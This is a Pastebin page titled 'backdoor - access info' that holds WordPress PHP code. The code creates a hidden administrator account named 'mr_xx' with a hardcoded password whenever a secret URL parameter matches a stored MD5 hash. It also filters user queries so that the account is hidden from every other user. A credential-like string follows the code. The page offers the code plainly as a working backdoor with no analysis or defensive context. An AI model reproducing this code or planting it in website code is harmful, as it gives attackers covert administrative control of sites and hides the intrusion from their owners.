Advertisement
salmancreation

backdoor - access info

Jan 11th, 2020
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.83 KB | None | 0 0
  1. add_action( 'wp_head', 'pathway' );
  2.  
  3. function pathway() {
  4.     if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
  5.         require( 'wp-includes/registration.php' );
  6.         if ( !username_exists( 'mr_xx' ) ) {
  7.             $user_id = wp_create_user( 'mr_xx', 'pa55w0rd!' );
  8.             $user = new WP_User( $user_id );
  9.             $user->set_role( 'administrator' );
  10.         }
  11.     }
  12. }
  13.  
  14. add_action('pre_user_query','site_pre_user_query');
  15. function site_pre_user_query($user_search) {
  16.     global $current_user;
  17.     $username = $current_user->user_login;
  18.  
  19.     if ($username == 'mr_xx') {
  20.     }
  21.  
  22.     else {
  23.     global $wpdb;
  24.     $user_search->query_where = str_replace('WHERE 1=1',
  25.       "WHERE 1=1 AND {$wpdb->users}.user_login != 'mr_xx'",$user_search->query_where);
  26.   }
  27. }
  28.  
  29. Kg*!@MrA1Cegteh(cZNrV&qG
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement